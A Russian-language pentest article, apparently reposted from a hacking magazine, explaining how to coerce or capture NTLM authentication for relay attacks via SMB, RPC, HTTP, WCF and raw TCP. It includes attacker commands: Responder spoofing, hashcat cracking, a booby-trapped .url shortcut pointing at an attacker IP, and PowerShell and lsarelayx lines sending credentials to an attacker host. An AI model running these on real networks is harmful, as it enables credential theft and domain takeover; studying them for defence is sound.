Хакер - Гид по NTLM Relay. Захватываем NTLM-аутентификацию для Relay-атаки

https://t.me/hacker_frei

DrieVlad

Содержание статьи

• Теория
• Захват с Responder
• Захват NTLM-аутентификации для Relay-атак
• SMB (445/TCP)
• Coerce-атаки
• Ярлыки
• RPC (135/TCP)
• SweetPotato
• Триггерим вручную
• Пример получения аутентификации на DCE RPC
• HTTP (80/TCP)
• Coerce-атаки
• PrivExchange
• Триггерим вручную
• RemotePotato0
• WCF (9389/TCP)
• Триггерим вручную
• RAW (произвольный TCP)
• Как получить NTLM-аутентификацию, если мешает NAT или МЭ
• Бонус № 1
• Бонус № 2
• Защита
• Выводы

По­чему мы до сих пор встре­чаем NTLM-аутен­тифика­цию во мно­гих инфраструк­турах? Потому что Windows не может сущес­тво­вать без нее. Но у NTLM-аутен­тифика­ции есть целый ряд проб­лем, которы­ми поль­зуют­ся зло­умыш­ленни­ки. Одна из них — это воз­можность Relay-атак. В этой статье мы обсу­дим спо­собы зах­вата аутен­тифика­ции для про­веде­ния Relay-ата­ки.

ТЕОРИЯ

NTLM — это про­токол про­вер­ки под­линнос­ти в сетях Windows NT. На самом деле он переко­чевал и в дру­гие домены, нап­ример ALD или FreeIPA. Что­бы не закапы­вать­ся глу­боко в теорию, пос­тара­юсь объ­яснить прин­цип его работы на прос­той схе­ме.

1. Кли­ент ини­циирует про­цесс про­хож­дения аутен­тифика­ции спе­циаль­ным сооб­щени­ем.
2. Сер­вер отправ­ляет некото­рое слу­чай­ное зна­чение кли­енту.
3. Кли­ент шиф­рует слу­чай­ное зна­чение сво­им сек­ретом и отправ­ляет на про­вер­ку сер­веру.

В прос­том слу­чае все понят­но: есть кли­ент, есть сер­вер, кли­ент про­ходит аутен­тифика­цию по про­токо­лу NTLM. Добавим остро­ты в нашу схе­му: теперь у нас появ­ляет­ся некий ата­кующий.

Из схе­мы мы понима­ем, что ата­кующий на сво­ей рабочей стан­ции сра­зу раз­ворачи­вает и сер­вер, и кли­ент для вза­имо­дей­ствия по про­токо­лу NTLM. Для улуч­шения вос­при­ятия пояс­ним, что про­исхо­дит на схе­ме.

1. Кли­ент (жер­тва) отправ­ляет сооб­щение о начале NTLM-аутен­тифика­ции — NEGOTIATE. Ата­кующий перех­ватыва­ет это сооб­щение с помощью сво­его сер­вера.
2. Ата­кующий отправ­ляет со сво­его кли­ента сооб­щение о начале NTLM-аутен­тифика­ции — NEGOTIATE на целевой сер­вер.
3. С целево­го сер­вера ата­кующе­му при­ходит сооб­щение со слу­чай­ным зна­чени­ем — CHALLENGE.
4. Ата­кующий отправ­ляет сооб­щение с таким же CHALLENGE, как на треть­ем шаге, жер­тве.
5. Жер­тва шиф­рует CHALLENGE сво­им NTLM-хешем и отправ­ляет сер­веру.
6. Ата­кующий перех­ватыва­ет ответ жер­твы и пересы­лает его сер­веру. Ата­кующий успешно про­ходит аутен­тифика­цию на целевом сер­вере.

Схе­ма в целом понят­на, но при про­веде­нии ата­ки быва­ют нюан­сы, про которые нуж­но знать. Во‑пер­вых, NTLM не сущес­тву­ет в ваку­уме, ее исполь­зуют раз­личные про­токо­лы, такие как SMB, LDAP или RPC. Во‑вто­рых, при про­хож­дении аутен­тифика­ции могут исполь­зовать­ся раз­ные хеши: NetNTLMv1 и NetNTLMv2. Эти хеши име­ют свои осо­бен­ности, от которых может зависеть резуль­тат про­веде­ния ата­ки.

Су­щес­тву­ет две вер­сии про­токо­ла: NTLMv1 и NTLMv2. В NTLMv1 исполь­зует­ся хеш NetNTLMv1, и он без­надеж­но уста­рел:

• Из слу­чай­нос­тей там толь­ко CHALLENGE, который при­сыла­ет сер­вер. Зна­чит, при под­делке сер­вера мож­но под­делать и CHALLENGE и, соот­ветс­твен­но, под­готовить радуж­ные таб­лицы.
• Так­же сущес­тву­ют методы вос­ста­нов­ления из хеша NetNTLMv1 хеша NT. Под­робнее об этом мож­но почитать на сай­те Crack.SH.
• От­сутс­тву­ет про­вер­ка целос­тнос­ти сооб­щения (MIC — message integrity code), которая защища­ет от Relay-атак с одно­го про­токо­ла на дру­гой.

Как мож­но догадать­ся, в NTLMv2 исполь­зует­ся хеш NetNTLMv2. В нем раз­работ­чики пос­тарались решить все проб­лемы про­токо­ла NTLMv1. Дей­стви­тель­но, мож­но ска­зать, что обра­тить этот хеш за разум­ное вре­мя хотя бы до NT пока не пред­став­ляет­ся воз­можным. Под­готовить радуж­ные таб­лицы не получит­ся, потому что к CHALLENGE добави­лась мет­ка вре­мени. А вот с Relay-ата­ками не все так однознач­но, но об этом мы погово­рим в дру­гой раз.

В этой статье будут рас­смот­рены некото­рые вари­анты зах­вата NTLM-аутен­тифика­ции для реали­зации Relay-атак. В сле­дующей мы обсу­дим непос­редс­твен­но Relay-ата­ки.

Са­мое прос­тое, что мож­но сде­лать с получен­ным NetNTLM-хешем любой вер­сии, — это подоб­рать пароль по сло­варю. Нап­ример, так:

hashcat -a0 -m 5500 hash wordlist -r rules (NetNTLMv1)

hashcat -a0 -m 5600 hash wordlist -r rules (NetNTLMv2) 

ЗАХВАТ С RESPONDER

Один из самых прос­тых спо­собов получить NTLM-аутен­тифика­цию — спу­финг с помощью Responder (этот инс­тру­мент мож­но най­ти в Kali).

INFO

Мож­но запус­тить NetBIOS spoofing с помощью Responder и получен­ную аутен­тифика­цию исполь­зовать для Relay-ата­ки. Для это­го нуж­но прос­то отклю­чить в кон­фиге сер­вера Responder SMB, HTTP и DCE RPC, что­бы не воз­никло кон­флик­та с ntlmrelayx. Пос­ле это­го запус­тить Responder и ntlmrelayx.

Уве­рен, что мно­гие уже исполь­зовали этот инс­тру­мент для зах­вата хешей, поэто­му крат­ко про­бежим­ся по основным фун­кци­ям. Responder пре­дос­тавля­ет поль­зовате­лю набор сер­веров для зах­вата и обра­бот­ки аутен­тифика­ций.

Зах­ват хеша с Responder выг­лядит при­мер­но сле­дующим обра­зом.

Этот фор­мат при­годен для бру­та с помощью hashcat. Все зах­вачен­ные хеши Responder скла­дыва­ет в базу SQLite, рас­положен­ную по пути /usr/share/responder/Responder.db. Открыть базу мож­но сле­дующей коман­дой:

sqlitebrowser /usr/share/responder/Responder.db

Файл кон­фигура­ции Responder находит­ся здесь: /etc/responder/Responder.conf. Эта информа­ция может при­годить­ся, если надо будет вык­лючить или вклю­чить опре­делен­ный сер­вер. На скри­не ниже изоб­ражен файл кон­фигура­ций Responder.conf.

Responder незаме­ним для реали­зации спу­финг‑атак в сетях на осно­ве Windows. Пред­посыл­кой для выпол­нения ата­ки типа NetBIOS Spoofing слу­жит наличие в сети широко­веща­тель­ного тра­фика типа NBNS, LLMNR и mDNS. Тра­фик в сети мож­но прос­лушивать с помощью Wireshark, при­меняя филь­тр NBNS.

Вмес­то визу­аль­ного ана­лиза тра­фика можем прос­то запус­тить Responder в режиме ана­лиза сле­дующей коман­дой:

responder -I eth0 -A

Пос­ле запус­ка получа­ем при­мер­но такую кар­тину, можем про­бовать спу­финг.

Спу­финг‑ата­ки для зах­вата аутен­тифика­ции мож­но выпол­нять сле­дующей коман­дой:

responder -I eth0 -dwF

Ес­ли ата­ка уда­лась, перехо­дим к сле­дующим шагам.

ЗАХВАТ NTLM-АУТЕНТИФИКАЦИИ ДЛЯ RELAY-АТАК

Для выпол­нения Relay-атак удоб­нее все­го исполь­зовать ntlmrelayx из пакета impacket. В этом инс­тру­мен­те реали­зова­ны час­то встре­чающиеся про­токо­лы, с которых мож­но зах­ватить NTLM-аутен­тифика­цию. Вооб­ще, ntlmrelayx име­ет кли­ент‑сер­верную модель, и в этой статье мы как раз обсу­дим все RelayServers, реали­зован­ные в нем, и даже добавим новый, которо­го еще нет в основной вет­ке.

INFO

Сто­ит сра­зу отме­тить, что пор­ты, которые прос­лушива­ют сер­веры RelayServer ntlmrelayx, мож­но сме­нить. Это может при­годить­ся при реали­зации слож­ных атак. 

SMB (445/TCP)

Про­токол SMB с точ­ки зре­ния Relay-атак наибо­лее изу­чен­ный и популяр­ный, поэто­му и спо­собов зах­вата аутен­тифика­ции с SMB боль­ше все­го. Вот нес­коль­ко вари­антов того, как это мож­но сде­лать:

1. Про­вес­ти coerce-ата­ку (при­нуж­дение к аутен­тифика­ции):ано­ним­но — с помощью PetitPotam (CVE-2021-36942);
2. с учет­ной записью.
3. Исполь­зовать ярлы­ки на шарах с дос­тупом на запись:ано­ним­но;
4. с учет­ной записью.
5. Стриг­герить вруч­ную.
6. Про­вес­ти MITM-ата­ку.

Coerce-атаки

С coerce-ата­ками мы сей­час под­робно раз­бирать­ся не будем. Сто­ит упо­мянуть, что если у нас есть учет­ная запись, то coerce уже не уяз­вимость, а осо­бен­ность архи­тек­туры.

При­нуж­дать мож­но любым удоб­ным скрип­том, нап­ример Coercer.py — на сегод­няшний день он под­держи­вает поч­ти все извес­тные методы при­нуж­дения, в том чис­ле без учет­ной записи.

INFO

Coerce-ата­ки мож­но выпол­нять не толь­ко с 445-го пор­та, но и с 139, 135 и 4915-го пор­тов. Под­робнее об этом, а так­же о методах защиты от этих атак читай на «Хаб­ре».

При­мер исполь­зования Coercer.py показан на рисун­ке ниже.

В резуль­тате при­нуж­дения мы получа­ем NTLM-аутен­тифика­цию.

Важ­но отме­тить, что в резуль­тате выпол­нения такой ата­ки мы получа­ем имен­но ма­шин­ную учет­ную запись, это необ­ходимо пом­нить при пла­ниро­вании Relay-атак.

Ярлыки

Тех­ники с ярлычка­ми доволь­но ста­рые и дей­ствен­ные, называ­ются они slinky и scuffy. Если в сети при­сутс­тву­ют пап­ки, откры­тые на запись, обя­затель­но нуж­но положить в них ярлычки, которые будут ссы­лать­ся на IP-адрес ата­кующе­го. Как толь­ко поль­зователь откро­ет сетевую пап­ку с нашим ярлы­ком, нам при­летит NTLM-аутен­тифика­ция на SMB. Реали­зовать ата­ку мож­но нес­коль­кими спо­соба­ми:

• при помощи ути­литы PyLnk 3 (есть в Kali);
• при помощи CrackMapExec (тоже есть в Kali);
• вруч­ную.

Для экспе­римен­та выберем тре­тий вари­ант и будем исполь­зовать тех­нику, которая нем­ного отли­чает­ся от slinky и scuffy. Содер­жимое фай­ла с рас­ширени­ем .url будет при­мер­но сле­дующим:

[InternetShortcut]

URL=whatever

WorkingDirectory=whatever

IconFile=\\<attacker IP>\%USERNAME%.icon

IconIndex=1

По­ложи­ли ярлык в сетевую пап­ку, переш­ли в нее и получи­ли NTLM-аутен­тифика­цию, как показа­но на сле­дующих рисун­ках.

Пе­рехо­дим в сетевую пап­ку, где рас­положен ярлык.

Сра­зу же при­лета­ет NTLM-аутен­тифика­ция.

В при­мере хеш зах­вачен с помощью Responder, на прак­тике же мож­но запус­тить ntlmrelayx и выпол­нить Relay-ата­ку.

Триггерим вручную

Ес­ли сло­жилась ситу­ация, ког­да мы можем выпол­нять код на домен­ной машине, нап­ример сбру­тил­ся PostgreSQL и из него нам уда­лось выпол­нить код, мож­но поп­робовать стриг­герить аутен­тифика­цию по SMB прос­той коман­дой в cmd:

dir \\<attacker IP >\a

MITM

Су­щес­тву­ет целый ряд атак, которые могут поз­волить ата­кующе­му ока­зать­ся в положе­нии посере­дине меж­ду кли­ентом и сер­вером, нап­ример ARP spoofing, DHCPv6 spoofing или NetBIOS spoofing (вспо­мина­ем про Responder). Любая из этих тех­ник может поз­волить зах­ватить NTLM-аутен­тифика­цию и даже боль­ше. Но они могут ока­зать­ся раз­рушитель­ными для сети, поэто­му, ког­да мож­но обой­тись без них, луч­ше так и делать.

Про MITM-ата­ки в сле­дующих раз­делах мы отдель­но говорить не будем, потому что смысл при­мер­но тот же.

RPC (135/TCP)

В репози­тории на GitHub готов к исполь­зованию RPCRelayServer. Пока что скрипт не добав­лен в основную вет­ку impacket, но мне кажет­ся, это воп­рос вре­мени. Те, кто хочет поп­робовать, уже сей­час мо­гут самос­тоятель­но обно­вить­ся. Пос­ле добав­ления необ­ходимых скрип­тов и ком­понен­тов в ntlmrelayx мы будем при­нимать аутен­тифика­цию на порт 135/TCP.

По­лучить NTLM-аутен­тифика­цию на 135-й порт мож­но нес­коль­кими спо­соба­ми:

• вос­поль­зовать­ся SweetPotato;
• стриг­герить вруч­ную;
• про­вес­ти MITM-ата­ку. 

SweetPotato

Про SweetPotato и его экс­плу­ата­цию луч­ше читать статью «Кар­тошка-0. Повыша­ем при­виле­гии в AD при помощи RemotePotato0». Но в целом кон­цепция такая же, как у PetitPotam: мы получим аутен­тифика­цию от име­ни машины толь­ко на 135-й порт

Триггерим вручную

Ес­ли у нас есть воз­можность уда­лен­но выпол­нить код на домен­ной машине или прос­то для экспе­римен­тов, мож­но стриг­герить обра­щение на DCE RPC сле­дующим спо­собом:

rpcping /s <attacker IP> /e 135 /a privacy /u NTLM 

Пример получения аутентификации на DCE RPC

По­луча­ем аутен­тифика­цию и дела­ем Relay на SMB.

По­луча­ем дос­туп к сетевым пап­кам. 

HTTP (80/TCP)

По­лучить NTLM-аутен­тифика­цию на HTTP мож­но нес­коль­кими спо­соба­ми:

• при­менить сoerce-ата­ки, если на хос­те вклю­чен WebDav;
• ис­поль­зовать PrivExchange;
• стриг­герить вруч­ную;
• про­экс­плу­ати­ровать RemotePotato0;
• про­вес­ти MITM-ата­ку.

Coerce-атаки

С coerce-ата­ками на HTTP все ана­логич­но SMB, раз­ница толь­ко в том, что для при­нуж­дения на HTTP нуж­но, что­бы на машине (которую мы при­нуж­даем) был вклю­чен WebDav.

INFO

Ес­ли WebDav вык­лючен, мож­но поп­робовать вклю­чить его с помощью ярлычка. Под­робнее об этой тех­нике читай на The Hacker.

Так­же ата­кующе­му нуж­на собс­твен­ная DNS-запись в обсле­дуемом домене. Если WebDav вклю­чен, то нам оста­ется толь­ко при­нудить машину, исполь­зуя Coercer.py или любой дру­гой скрипт, нап­ример с помощью PetitPotam.

При­нуж­даем машину прой­ти аутен­тифика­цию на HTTP.

Про­верить, вклю­чен ли WebDav, мож­но с помощью коман­ды

crackmapexec smb <target IP> -u <user> -p <password> -M webdav

PrivExchange

Тех­ника при­нуж­дения Exchange, которая называ­ется PrivExchange, осно­вана на уяз­вимос­тях CVE-2019-0686 и CVE-2019-0724. О ее исполь­зовании луч­ше про­читать статью Abusing Exchange: One API call away from Domain Admin.

Триггерим вручную

Ес­ли у нас есть воз­можность уда­лен­но выпол­нить код на домен­ной машине, мож­но стриг­герить обра­щение на HTTP, исполь­зуя Basic auth. Коман­да выг­лядит так:

powershell -c "Invoke-WebRequest -Uri http://<attacker IP>/ -UseDefaultCredentials". 

RemotePotato0

При повыше­нии при­виле­гий с помощью тех­ники RemotePotato0 на опре­делен­ном эта­пе нам дос­тает­ся аутен­тифика­ция с HTTP, которой мы можем вос­поль­зовать­ся для Relay-ата­ки. Осо­бен­ностью ата­ки явля­ется пра­виль­ный выбор CLSID, под­робнее луч­ше читать в статье «Кар­тошка-0. Повыша­ем при­виле­гии в AD при помощи RemotePotato0».

На машине, к которой у нас есть RDP-дос­туп, запус­каем экс­пло­ит RemotePotato0.exe.

На машине ата­кующе­го запус­каем ntlmrelayx. Получа­ем сер­тификат от име­ни адми­нис­тра­тора домена.

INFO

Что­бы пос­мотреть ID сес­сии для ата­ки, исполь­зуй коман­ду query user.

WCF (9389/TCP)

Один из необыч­ных вари­антов получе­ния NTLM-аутен­тифика­ции — про­токол WCF (Windows Communication Foundation). Что это такое и с чем его едят, мож­но узнать на сай­те Microsoft. В качес­тве спой­лера ска­жу толь­ко, что модуль Active Directory для PowerShell пос­тро­ен на про­токо­ле WCF.

Нам же ско­рее инте­рес­но, как его исполь­зовать при Relay-ата­ках. Пер­вое иссле­дова­ние в 2020 году про­вел @cnotin и подарил миру WCFRelayServer для ntlmrelayx.

По­лучить аутен­тифика­цию на WCF мож­но сле­дующи­ми спо­соба­ми:

• стриг­герить вруч­ную;
• про­вес­ти MITM-ата­ку. 

Триггерим вручную

Ес­ли у нас есть воз­можность уда­лен­но выпол­нить код на домен­ной машине, мож­но стриг­герить обра­щение на WCF 9389/TCP, исполь­зуя NetNTLM. Спо­соб выг­лядит сле­дующим обра­зом:

powershell -c "get-aduser -filter * -server IP"

Та­кая аутен­тифика­ция может неожи­дан­но встре­тить­ся на оче­ред­ном пен­тесте, нап­ример при про­веде­нии ата­ки ARP spoofing в сег­менте сети, в котором находят­ся адми­нис­тра­торы. 

RAW (ПРОИЗВОЛЬНЫЙ TCP)

Этот про­токол и тех­ника в целом ста­ли лич­но для меня боль­шим откры­тием при написа­нии статьи. Пока что есть вари­ант получить аутен­тифика­цию на RAWRelayServer толь­ко с исполь­зовани­ем lsarelayx.

Ва­риант исполь­зования пред­лага­ется дос­таточ­но прос­той — запус­каем lsarelayx на зах­вачен­ной Windows-машине, начина­ем при­нуж­дать прой­ти аутен­тифика­цию на ней все целевые хос­ты или прос­то сидим и ждем, пока на нее не зай­дет какой‑нибудь при­виле­гиро­ван­ный поль­зователь. При получе­нии аутен­тифика­ции lsarelayx перех­ватыва­ет ее и пересы­лает на нашу машину. Получа­ется в каком‑то роде зак­ладка.

Ра­ботать все будет при­мер­но по сле­дующей схе­ме.

При про­веде­нии экспе­римен­тов с lsarelayx при­ходим к выводу, что все Relay-ата­ки работа­ют в соот­ветс­твии с тем, с какого про­токо­ла была получе­на аутен­тифика­ция, а RAW ста­новит­ся лишь про­межу­точ­ным зве­ном в цепоч­ке Relay-ата­ки.

Для запус­ка lsarelayx исполь­зует­ся сле­дующая коман­да:

lsarelayx.exe --host <attacker IP>

Итак, на зах­вачен­ной машине запус­тили lsarelayx.

На нашей машине получи­ли аутен­тифика­цию с lsarelayx на RAWRelayServer и перес­лали ее на SMB.

В резуль­тате получа­ем про­фит в зависи­мос­ти от при­виле­гий, получен­ной аутен­тифика­ции.

В зак­лючение раз­говора про этот сер­вер хотелось бы добавить, что «Защит­ник Windows» сра­зу же обна­ружи­вает и уда­ляет lsarelayx, поэто­му для его запус­ка, веро­ятно, при­дет­ся пот­рудить­ся.

КАК ПОЛУЧИТЬ NTLM-АУТЕНТИФИКАЦИЮ, ЕСЛИ МЕШАЕТ NAT ИЛИ МЭ

Осу­щес­твить Relay не вый­дет, если недос­тупны сетевые соеди­нения до машины ата­кующе­го. Пре­пятс­тво­вать соеди­нению может NAT или МЭ. Воз­можных вари­антов решения этой проб­лемы видит­ся нес­коль­ко:

• В такой ситу­ации надо искать машину с Linux, до которой смо­гут дой­ти под­клю­чения, поч­ти всег­да это уда­ется сде­лать.
• Хо­рошим вари­антом будет раз­вернуть вир­туаль­ную машину с Linux на узле с Windows. Как это сде­лать, рас­ска­зыва­ет статья «Пин­гвин‑супер­шпи­он. Исполь­зуем вир­туал­ку с Linux для пос­тэкс­плу­ата­ции Windows».
• Ес­ли все‑таки не получи­лось или под­жима­ют сро­ки, мож­но рас­смот­реть вари­ант запус­ка ntlmrelayx на сер­вере с белым IP-адре­сом, но надо учи­тывать рис­ки — аутен­тифика­ция пой­дет через интернет в откры­том виде.

БОНУС № 1

При при­нуж­дении на HTTP кажет­ся, что с WebDav все понят­но: он либо есть, либо нет, а с DNS-записью все не так однознач­но. Если у нашей машины нет DNS-записи, всег­да мож­но поп­робовать поис­кать хост, на котором она будет. А там уже не важ­но, Windows это или Linux, с помощью socat мы смо­жем проб­росить себе 80-й порт и получать завет­ные аутен­тифика­ции. На схе­ме это будет выг­лядеть при­мер­но сле­дующим обра­зом.

За­пус­каем socat для проб­роса 80-го пор­та с машины с DNS-записью на хост ата­кующе­го.

За­пус­каем ntlmrelayx на машине ата­кующе­го.

При­нуж­даем машину прой­ти NTLM-аутен­тифика­цию на хос­те, где запущен socat. На схе­ме это work2.

Ма­шина work2 пыта­ется прой­ти аутен­тифика­цию на work3 и попада­ет на хост ата­кующе­го.

БОНУС № 2

Пе­риоди­чес­ки при­ходит­ся стал­кивать­ся с тем, что та или иная сис­тема пыта­ется прой­ти аутен­тифика­цию по NTLM с помощью домен­ной учет­ки. Так любят делать анти­виру­сы, DLP-сис­темы и бэкап‑сис­темы.

За­метить это доволь­но прос­то: запус­каем Responder в режиме ана­лиза на дос­таточ­но про­дол­житель­ное вре­мя и смот­рим, пытал­ся ли кто‑то прой­ти аутен­тифика­цию.

Пос­ле того как уда­лось под­твер­дить, что в домен пери­оди­чес­ки кто‑то сту­чит­ся, мож­но запус­тить ntlmrelayx и сидеть ждать, ког­да в сле­дующий раз учет­ка попыта­ется прой­ти аутен­тифика­цию на нашем узле. При пра­виль­ном выборе мес­та, куда делать Relay, мож­но зак­репить­ся в домене, а потом и под­нять при­виле­гии до адми­на.

Этот при­мер плав­но под­водит нас к теме сле­дующей статьи — NTLM Relay. В ней мы пос­тара­емся разоб­рать­ся, что это такое, как делать и какой про­фит мож­но получить.

ЗАЩИТА

В качес­тве защиты мож­но посове­товать сле­дующее:

1. Ре­гуляр­но уста­нав­ливать обновле­ния безопас­ности.
2. Не допус­кать появ­ления сетевых папок с ано­ним­ным дос­тупом на запись.
3. От­казать­ся от исполь­зования NetBIOS.
4. От­клю­чить IPv6, если он не нужен.
5. При­менить смяг­чающие меры по защите от coerce-атак. 

ВЫВОДЫ

Уве­рен, что в статье перечис­лены не все воз­можные спо­собы получить NTLM-аутен­тифика­цию. Если у тебя воз­никли мыс­ли, идеи или уже был опыт исполь­зования аль­тер­натив­ных спо­собов, буду рад обратной свя­зи.

Глав­ный вывод, который мож­но сде­лать, — спо­собы получе­ния NTLM-аутен­тифика­ции для пос­леду­юще­го выпол­нения Relay-ата­ки огра­ниче­ны толь­ко фан­тази­ей ата­кующе­го.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei